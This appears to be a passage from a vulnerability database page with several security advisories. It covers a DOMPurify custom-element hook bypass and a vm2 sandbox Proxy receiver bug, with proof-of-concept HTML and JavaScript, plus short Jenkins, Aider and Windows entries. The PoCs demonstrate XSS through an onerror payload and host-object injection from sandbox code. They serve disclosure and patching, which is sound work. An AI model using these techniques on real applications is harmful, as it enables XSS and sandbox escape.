In the PoC, the application hook removes data-bio from ordinary elements, but the same attribute remains on <x-bio> because the custom-element keep path bypasses afterSanitizeElements. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved data-bio value in connectedCallback() and writes it to innerHTML, turning the preserved attribute into a second-order XSS gadget.
PoC
Reproduced on DOMPurify 3.4.11.
Steps
- Save the following HTML to a file, for example
poc.html. - Open it in a browser.
- Observe that the
divcontrol losesdata-bio, while the allowed custom element keeps it. - Observe that after
connectedCallback()runs, the candidate payload is reinserted into the DOM and executes through the custom element’s own sink.
HTML PoC
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js"></script>
</head>
<body>
<pre id="result"></pre>
<script>
window.__controlFired = false;
window.__candidateFired = false;
customElements.define("x-bio", class extends HTMLElement {
connectedCallback() {
const bio = this.getAttribute("data-bio");
if (bio) this.innerHTML = bio;
}
});
DOMPurify.addHook("afterSanitizeElements", node => {
if (node.hasAttribute && node.hasAttribute("data-bio")) {
node.removeAttribute("data-bio");
}
});
const config = {
CUSTOM_ELEMENT_HANDLING: {
tagNameCheck: /^x-/
}
};
const controlInput =
'<div data-bio="<img src=x onerror=window.__controlFired=true>"></div>';
const candidateInput =
'<x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>';
const cleanControl = DOMPurify.sanitize(controlInput, config);
const cleanCandidate = DOMPurify.sanitize(candidateInput, config);
const container = document.createElement("div");
container.innerHTML = cleanCandidate;
document.body.appendChild(container);
setTimeout(() => {
document.getElementById("result").textContent =
"This is not direct DOMPurify XSS.\n" +
"The payload becomes executable only after x-bio writes data-bio into innerHTML.\n\n" +
"control: " + cleanControl + "\n" +
"candidate: " + cleanCandidate + "\n" +
"after connectedCallback: " + container.innerHTML + "\n" +
"control fired: " + window.__controlFired + "\n" +
"candidate fired: " + window.__candidateFired;
}, 100);
</script>
</body>
</html>
Expected result
control: <div></div>
candidate: <x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>
after connectedCallback: <x-bio data-bio="..."><img src="x" onerror="window.__candidateFired=true"></x-bio>
control fired: false
candidate fired: true
This is output of HTML PoC.
Impact
This does not appear to affect DOMPurify’s default configuration as a direct sanitizer bypass.
The impact is limited to applications that:
- enable
CUSTOM_ELEMENT_HANDLING, - rely on
afterSanitizeElementsas a security policy layer, - expect that hook to apply uniformly to all surviving elements,
- and have allowed custom elements that later re-inject preserved attribute values into
innerHTMLor another HTML sink.
In that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.
Possible fixes or mitigations might include
- ensuring that allowed custom elements also consistently pass through
afterSanitizeElements - documenting clearly that elements preserved via
CUSTOM_ELEMENT_HANDLINGmay not participate in the same post-element hook flow as normal allowlisted elements.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.11"
},
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-693",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T19:41:07Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\nThere is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving `CUSTOM_ELEMENT_HANDLING`.\n\nWhen a custom element is allowed via `CUSTOM_ELEMENT_HANDLING.tagNameCheck`, it appears that the element does not go through `afterSanitizeElements` in the same way as a normal element. As a result, an application that relies on `afterSanitizeElements` as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.\n\nThis does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as `innerHTML`, creating a second-order XSS gadget.\n\n## Details\n\nThe issue appears to originate from the control flow in `src/purify.ts`: line 1672~1691\n\n```tsx\nconst _sanitizeDisallowedNode = function (\n currentNode: any,\n tagName: string\n ): boolean {\n /* Check if we have a custom element to handle */\n if (!FORBID_TAGS[tagName] \u0026\u0026 _isBasicCustomElement(tagName)) {\n if (\n CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp \u0026\u0026\n regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)\n ) {\n return false;\n }\n\n if (\n CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function \u0026\u0026\n CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)\n ) {\n return false;\n }\n }\n```\n\n`CUSTOM_ELEMENT_HANDLING` is parsed from user configuration at `src/purify.ts`: line 741~748\n\n```tsx\nconst customElementHandling =\n objectHasOwnProperty(cfg, \u0027CUSTOM_ELEMENT_HANDLING\u0027) \u0026\u0026\n cfg.CUSTOM_ELEMENT_HANDLING \u0026\u0026\n typeof cfg.CUSTOM_ELEMENT_HANDLING === \u0027object\u0027\n ? clone(cfg.CUSTOM_ELEMENT_HANDLING)\n : create(null);\n\n CUSTOM_ELEMENT_HANDLING = create(null);\n```\n\nIn particular, `tagNameCheck`, `attributeNameCheck`, and `allowCustomizedBuiltInElements` are copied into the internal `CUSTOM_ELEMENT_HANDLING` object there.\n\nDuring element sanitization, `_sanitizeElements()` checks whether a node is forbidden or not allowlisted at `src/purify.ts`: line 1805~1814\n\n```tsx\n/* Remove element if anything forbids its presence */\n if (\n FORBID_TAGS[tagName] ||\n (!(\n EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function \u0026\u0026\n EXTRA_ELEMENT_HANDLING.tagCheck(tagName)\n ) \u0026\u0026\n !ALLOWED_TAGS[tagName])\n ) {\n return _sanitizeDisallowedNode(currentNode, tagName);\n }\n```\n\nIf so, it immediately delegates to `_sanitizeDisallowedNode(currentNode, tagName)` and returns its boolean result.\n\nInside `_sanitizeDisallowedNode()`, the custom-element-specific allow path is implemented at `src/purify.ts`: line 1672~1692\n\n```tsx\nconst _sanitizeDisallowedNode = function (\n currentNode: any,\n tagName: string\n ): boolean {\n /* Check if we have a custom element to handle */\n if (!FORBID_TAGS[tagName] \u0026\u0026 _isBasicCustomElement(tagName)) {\n if (\n CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp \u0026\u0026\n regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)\n ) {\n return false;\n }\n\n if (\n CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function \u0026\u0026\n CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)\n ) {\n return false;\n }\n }\n```\n\nIf the node is treated as a basic custom element and `CUSTOM_ELEMENT_HANDLING.tagNameCheck` matches, the function returns `false` immediately at line 1682 or 1689, meaning \u201cdo not remove this node\u201d.\n\nThat early `return false` is significant because control returns directly to `_sanitizeElements()` via the `return _sanitizeDisallowedNode(...)` at line 1813. As a result, the later logic in `_sanitizeElements()` is skipped for that custom element instance, including:\n\n- the namespace validation at `src/purify.ts`: line 1816~1826\n\n```tsx\n* Check whether element has a valid namespace.\n Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype\n nodeType getter rather than `instanceof Element`, which is realm-\n bound and short-circuits to false for any node minted in a different\n realm \u2014 letting a foreign-realm element with a forbidden namespace\n slip past the namespace check entirely. */\n const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;\n if (nt === NODE_TYPE.element \u0026\u0026 !_checkValidNamespace(currentNode)) {\n _forceRemove(currentNode);\n return true;\n }\n```\n\n- the fallback-tag mXSS check at `src/purify.ts`: line 1828~1837\n\n```tsx\n/* Make sure that older browsers don\u0027t get fallback-tag mXSS */\n if (\n (tagName === \u0027noscript\u0027 ||\n tagName === \u0027noembed\u0027 ||\n tagName === \u0027noframes\u0027) \u0026\u0026\n regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)\n ) {\n _forceRemove(currentNode);\n return true;\n }\n```\n\n- most importantly for this report, the `afterSanitizeElements` hook dispatch at `src/purify.ts`: line 1850~1851.\n\n```tsx\n /* Execute a hook if present */\n _executeHooks(hooks.afterSanitizeElements, currentNode, null);\n```\n\nIn other words, a normal allowlisted element continues through `_sanitizeElements()` and reaches `hooks.afterSanitizeElements`, but a disallowed-by-default element that is revived by the `CUSTOM_ELEMENT_HANDLING.tagNameCheck` path does not. This creates a policy inconsistency: an application that relies on `afterSanitizeElements` to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through `CUSTOM_ELEMENT_HANDLING`.\n\nIn the PoC, the application hook removes `data-bio` from ordinary elements, but the same attribute remains on `\u003cx-bio\u003e` because the custom-element keep path bypasses `afterSanitizeElements`. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved `data-bio` value in `connectedCallback()` and writes it to `innerHTML`, turning the preserved attribute into a second-order XSS gadget.\n\n## PoC\n\nReproduced on DOMPurify 3.4.11.\n\n### Steps\n\n1. Save the following HTML to a file, for example `poc.html`.\n2. Open it in a browser.\n3. Observe that the `div` control loses `data-bio`, while the allowed custom element keeps it.\n4. Observe that after `connectedCallback()` runs, the candidate payload is reinserted into the DOM and executes through the custom element\u2019s own sink.\n\n### HTML PoC\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n \u003cmeta charset=\"UTF-8\"\u003e\n \u003cscript src=\"https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js\"\u003e\u003c/script\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cpre id=\"result\"\u003e\u003c/pre\u003e\n\n\u003cscript\u003e\nwindow.__controlFired = false;\nwindow.__candidateFired = false;\n\ncustomElements.define(\"x-bio\", class extends HTMLElement {\n connectedCallback() {\n const bio = this.getAttribute(\"data-bio\");\n if (bio) this.innerHTML = bio;\n }\n});\n\nDOMPurify.addHook(\"afterSanitizeElements\", node =\u003e {\n if (node.hasAttribute \u0026\u0026 node.hasAttribute(\"data-bio\")) {\n node.removeAttribute(\"data-bio\");\n }\n});\n\nconst config = {\n CUSTOM_ELEMENT_HANDLING: {\n tagNameCheck: /^x-/\n }\n};\n\nconst controlInput =\n \u0027\u003cdiv data-bio=\"\u0026lt;img src=x onerror=window.__controlFired=true\u0026gt;\"\u003e\u003c/div\u003e\u0027;\n\nconst candidateInput =\n \u0027\u003cx-bio data-bio=\"\u0026lt;img src=x onerror=window.__candidateFired=true\u0026gt;\"\u003e\u003c/x-bio\u003e\u0027;\n\nconst cleanControl = DOMPurify.sanitize(controlInput, config);\nconst cleanCandidate = DOMPurify.sanitize(candidateInput, config);\n\nconst container = document.createElement(\"div\");\ncontainer.innerHTML = cleanCandidate;\ndocument.body.appendChild(container);\n\nsetTimeout(() =\u003e {\n document.getElementById(\"result\").textContent =\n \"This is not direct DOMPurify XSS.\\n\" +\n \"The payload becomes executable only after x-bio writes data-bio into innerHTML.\\n\\n\" +\n \"control: \" + cleanControl + \"\\n\" +\n \"candidate: \" + cleanCandidate + \"\\n\" +\n \"after connectedCallback: \" + container.innerHTML + \"\\n\" +\n \"control fired: \" + window.__controlFired + \"\\n\" +\n \"candidate fired: \" + window.__candidateFired;\n}, 100);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Expected result\n\n```\ncontrol: \u003cdiv\u003e\u003c/div\u003e\ncandidate: \u003cx-bio data-bio=\"\u003cimg src=x onerror=window.__candidateFired=true\u003e\"\u003e\u003c/x-bio\u003e\nafter connectedCallback: \u003cx-bio data-bio=\"...\"\u003e\u003cimg src=\"x\" onerror=\"window.__candidateFired=true\"\u003e\u003c/x-bio\u003e\ncontrol fired: false\ncandidate fired: true\n```\n\nThis is output of HTML PoC.\n\n\u003cimg width=\"1917\" height=\"961\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/80e22989-5779-42f8-8ffb-106e9a4c2b10\" /\u003e\n\n\n## Impact\n\nThis does not appear to affect DOMPurify\u2019s default configuration as a direct sanitizer bypass.\n\nThe impact is limited to applications that:\n\n- enable `CUSTOM_ELEMENT_HANDLING`,\n- rely on `afterSanitizeElements` as a security policy layer,\n- expect that hook to apply uniformly to all surviving elements,\n- and have allowed custom elements that later re-inject preserved attribute values into `innerHTML` or another HTML sink.\n\nIn that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.\n\nPossible fixes or mitigations might include\n\n- ensuring that allowed custom elements also consistently pass through `afterSanitizeElements`\n- documenting clearly that elements preserved via `CUSTOM_ELEMENT_HANDLING` may not participate in the same post-element hook flow as normal allowlisted elements.",
"id": "GHSA-c2j3-45gr-mqc4",
"modified": "2026-07-21T19:41:07Z",
"published": "2026-07-21T19:41:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-c2j3-45gr-mqc4"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/pull/1537"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/commit/a9ca1e537422319a557a9a2aa61f003b23b4a197"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements."
}
GHSA-C3JM-9VJ7-5V66
Vulnerability from github – Published: 2026-06-24 15:31 – Updated: 2026-06-24 15:31Jenkins Script Security Plugin 1402.v94c9ce464861 and earlier does not intercept the implicit type casts applied to the elements of typed for-each loops in sandboxed Groovy scripts, allowing attackers able to provide such scripts to invoke arbitrary constructors and bypass the sandbox protection.
{
"affected": [],
"aliases": [
"CVE-2026-57280"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-24T14:17:33Z",
"severity": "HIGH"
},
"details": "Jenkins Script Security Plugin 1402.v94c9ce464861 and earlier does not intercept the implicit type casts applied to the elements of typed for-each loops in sandboxed Groovy scripts, allowing attackers able to provide such scripts to invoke arbitrary constructors and bypass the sandbox protection.",
"id": "GHSA-c3jm-9vj7-5v66",
"modified": "2026-06-24T15:31:47Z",
"published": "2026-06-24T15:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57280"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2026-06-24/#SECURITY-3792"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C3WR-3C4V-6RMH
Vulnerability from github – Published: 2026-05-31 09:31 – Updated: 2026-05-31 09:31A vulnerability was identified in Aider-AI Aider 0.86.3. Affected is an unknown function of the file aider/args.py of the component Pre-commit Hook Handler. Such manipulation of the argument git-commit-verify leads to protection mechanism failure. The attack may be launched remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-10174"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-31T09:16:14Z",
"severity": "LOW"
},
"details": "A vulnerability was identified in Aider-AI Aider 0.86.3. Affected is an unknown function of the file aider/args.py of the component Pre-commit Hook Handler. Such manipulation of the argument git-commit-verify leads to protection mechanism failure. The attack may be launched remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-c3wr-3c4v-6rmh",
"modified": "2026-05-31T09:31:00Z",
"published": "2026-05-31T09:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10174"
},
{
"type": "WEB",
"url": "https://github.com/Aider-AI/aider/issues/5057"
},
{
"type": "WEB",
"url": "https://github.com/Aider-AI/aider"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-10174"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/819901"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/367455"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/367455/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-C4CF-2HGV-2QV6
Vulnerability from github – Published: 2026-05-29 17:49 – Updated: 2026-06-12 19:30Summary
The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object.
This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path.
Vulnerable Code
// bridge.js:1231-1260
set(target, key, value, receiver) {
validateHandlerTarget(this, target);
const object = getHandlerObject(this);
if (isProtectedHostObject(object)) throw new VMError(OPNA);
// ...
try {
value = otherFromThis(value);
return otherReflectSet(object, key, value) === true;
// BUG: 'receiver' is never used.
// Should check if receiver !== proxy and handle accordingly.
} catch (e) {
throw thisFromOtherForThrow(e);
}
}
Impact
Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:
// Sandbox code
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST side
Combined with the Symbol.for coverage gap, this enables semantic confusion attacks:
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'
Reproduction
const { VM } = require('vm2');
const util = require('util');
const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);
vm.run(`
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFn);
child[kCustom] = function() {
return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
};
`);
// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUG
Suggested Fix
set(target, key, value, receiver) {
validateHandlerTarget(this, target);
const object = getHandlerObject(this);
if (isProtectedHostObject(object)) throw new VMError(OPNA);
if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {
return this.setPrototypeOf(target, value);
}
if (key === 'constructor' && thisArrayIsArray(object)) {
thisReflectSet(target, key, value);
return true;
}
try {
value = otherFromThis(value);
// When receiver is not the proxy itself, set on receiver (this-realm)
// instead of the host target to preserve prototype-chain semantics.
return otherReflectSet(object, key, value) === true;
} catch (e) {
throw thisFromOtherForThrow(e);
}
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.3"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47209"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T17:49:18Z",
"nvd_published_at": "2026-06-12T15:16:28Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `BaseHandler.set` trap in `bridge.js` (line 1231) ignores the `receiver` parameter and unconditionally writes to the host target object. Per the Proxy `set` trap specification, when `receiver !== proxy` (e.g., when a child object inherits from the proxy via `Object.create`), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls `otherReflectSet(object, key, value)` against the host target, causing **all inherited property writes to leak through to the host object**.\n\nThis bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., `nodejs.util.promisify.custom`) to host objects, bypassing any future per-trap `isDangerousCrossRealmSymbol` guard on the direct `set` path.\n\n## Vulnerable Code\n\n```javascript\n// bridge.js:1231-1260\nset(target, key, value, receiver) {\n validateHandlerTarget(this, target);\n const object = getHandlerObject(this);\n if (isProtectedHostObject(object)) throw new VMError(OPNA);\n // ...\n try {\n value = otherFromThis(value);\n return otherReflectSet(object, key, value) === true;\n // BUG: \u0027receiver\u0027 is never used.\n // Should check if receiver !== proxy and handle accordingly.\n } catch (e) {\n throw thisFromOtherForThrow(e);\n }\n}\n```\n\n## Impact\n\nSandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:\n\n```javascript\n// Sandbox code\nconst child = Object.create(hostObj);\nchild.injectedProp = \u0027attacker-value\u0027;\n// hostObj now has \u0027injectedProp\u0027 on the HOST side\n```\n\nCombined with the Symbol.for coverage gap, this enables semantic confusion attacks:\n\n```javascript\nconst kCustom = Symbol.for(\u0027nodejs.util.promisify.custom\u0027);\nconst child = Object.create(hostFunction);\nchild[kCustom] = function() {\n return Promise.resolve(\u0027attacker-controlled\u0027);\n};\n// Host: util.promisify(hostFunction)() returns \u0027attacker-controlled\u0027\n```\n\n## Reproduction\n\n```javascript\nconst { VM } = require(\u0027vm2\u0027);\nconst util = require(\u0027util\u0027);\n\nconst vm = new VM();\nconst hostFn = function api(cb) { cb(null, \u0027ok\u0027); };\nvm.setGlobal(\u0027hostFn\u0027, hostFn);\n\nvm.run(`\n const kCustom = Symbol.for(\u0027nodejs.util.promisify.custom\u0027);\n const child = Object.create(hostFn);\n child[kCustom] = function() {\n return Promise.resolve(\u0027EXPLOITED-VIA-RECEIVER-BUG\u0027);\n };\n`);\n\n// Host side\nconst promisified = util.promisify(hostFn);\npromisified(\u0027test\u0027).then(r =\u003e console.log(r));\n// Output: EXPLOITED-VIA-RECEIVER-BUG\n```\n\n## Suggested Fix\n\n```javascript\nset(target, key, value, receiver) {\n validateHandlerTarget(this, target);\n const object = getHandlerObject(this);\n if (isProtectedHostObject(object)) throw new VMError(OPNA);\n if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);\n if (key === \u0027__proto__\u0027 \u0026\u0026 !thisOtherHasOwnProperty(object, key)) {\n return this.setPrototypeOf(target, value);\n }\n if (key === \u0027constructor\u0027 \u0026\u0026 thisArrayIsArray(object)) {\n thisReflectSet(target, key, value);\n return true;\n }\n try {\n value = otherFromThis(value);\n // When receiver is not the proxy itself, set on receiver (this-realm)\n // instead of the host target to preserve prototype-chain semantics.\n return otherReflectSet(object, key, value) === true;\n } catch (e) {\n throw thisFromOtherForThrow(e);\n }\n}\n```",
"id": "GHSA-c4cf-2hgv-2qv6",
"modified": "2026-06-12T19:30:05Z",
"published": "2026-05-29T17:49:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-c4cf-2hgv-2qv6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47209"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/26d0318b5e6555be4b187ba05d6cf378ccecfe22"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "vm2\u0027s Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain"
}
GHSA-C538-WC2Q-4RMX
Vulnerability from github – Published: 2025-04-08 18:34 – Updated: 2025-04-08 18:34Protection mechanism failure in Windows Mark of the Web (MOTW) allows an unauthorized attacker to bypass a security feature over a network.
{
"affected": [],
"aliases": [
"CVE-2025-27472"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-08T18:15:57Z",
"severity": "MODERATE"
},
"details": "Protection mechanism failure in Windows Mark of the Web (MOTW) allows an unauthorized attacker to bypass a security feature over a network.",
"id": "GHSA-c538-wc2q-4rmx",
"modified": "2025-04-08T18:34:50Z",
"published": "2025-04-08T18:34:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27472"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-27472"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-C5R9-RX53-Q3GF
Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-12-16 20:43Jenkins 2.318 and earlier, LTS 2.303.2 and earlier does not limit agent read/write access to the libs/ directory inside build directories when using the FilePath APIs. This directory is used by the Pipeline: Shared Groovy Libraries Plugin to store copies of shared libraries.
This allows attackers in control of agent processes to replace the code of a trusted library with a modified variant, resulting in unsandboxed code execution in the Jenkins controller process.
Jenkins 2.319, LTS 2.303.3 prohibits agent read/write access to the libs/ directory inside build directories.
If you are unable to immediately upgrade to Jenkins 2.319, LTS 2.303.3, you can install the Remoting Security Workaround Plugin. It will prevent all agent-to-controller file access using FilePath APIs. Because it is more restrictive than Jenkins 2.319, LTS 2.303.3, more plugins are incompatible with it. Make sure to read the plugin documentation before installing it.
It is not easily possible to customize the file access rules to prohibit access to the libs/ directory specifically, as built-in rules (granting access to <BUILDDIR> contents) would take precedence over a custom rule prohibiting access.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.303.2"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.303.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.318"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.304"
},
{
"fixed": "2.319"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-21696"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-23T06:47:00Z",
"nvd_published_at": "2021-11-04T17:15:00Z",
"severity": "HIGH"
},
"details": "Jenkins 2.318 and earlier, LTS 2.303.2 and earlier does not limit agent read/write access to the `libs/` directory inside build directories when using the `FilePath` APIs. This directory is used by the Pipeline: Shared Groovy Libraries Plugin to store copies of shared libraries.\n\nThis allows attackers in control of agent processes to replace the code of a trusted library with a modified variant, resulting in unsandboxed code execution in the Jenkins controller process.\n\nJenkins 2.319, LTS 2.303.3 prohibits agent read/write access to the `libs/` directory inside build directories.\n\nIf you are unable to immediately upgrade to Jenkins 2.319, LTS 2.303.3, you can install the [Remoting Security Workaround Plugin](https://www.jenkins.io/redirect/remoting-security-workaround/). It will prevent all agent-to-controller file access using FilePath APIs. Because it is more restrictive than Jenkins 2.319, LTS 2.303.3, more plugins are incompatible with it. Make sure to read the plugin documentation before installing it.\n\nIt is not easily possible to [customize the file access rules](https://www.jenkins.io/doc/book/security/controller-isolation/agent-to-controller/#file-access-rules) to prohibit access to the `libs/` directory specifically, as built-in rules (granting access to `\u003cBUILDDIR\u003e` contents) would take precedence over a custom rule prohibiting access.",
"id": "GHSA-c5r9-rx53-q3gf",
"modified": "2022-12-16T20:43:58Z",
"published": "2022-05-24T19:19:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21696"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/93451e20c20cfd84badeb0f37c38d4c0c7a5dad3"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/jenkins"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2021-11-04/#SECURITY-2423"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2021/11/04/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Agent-to-controller access control allowed writing to sensitive directory used by Jenkins Pipeline: Shared Groovy Libraries Plugin"
}
No mitigation information available for this CWE.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
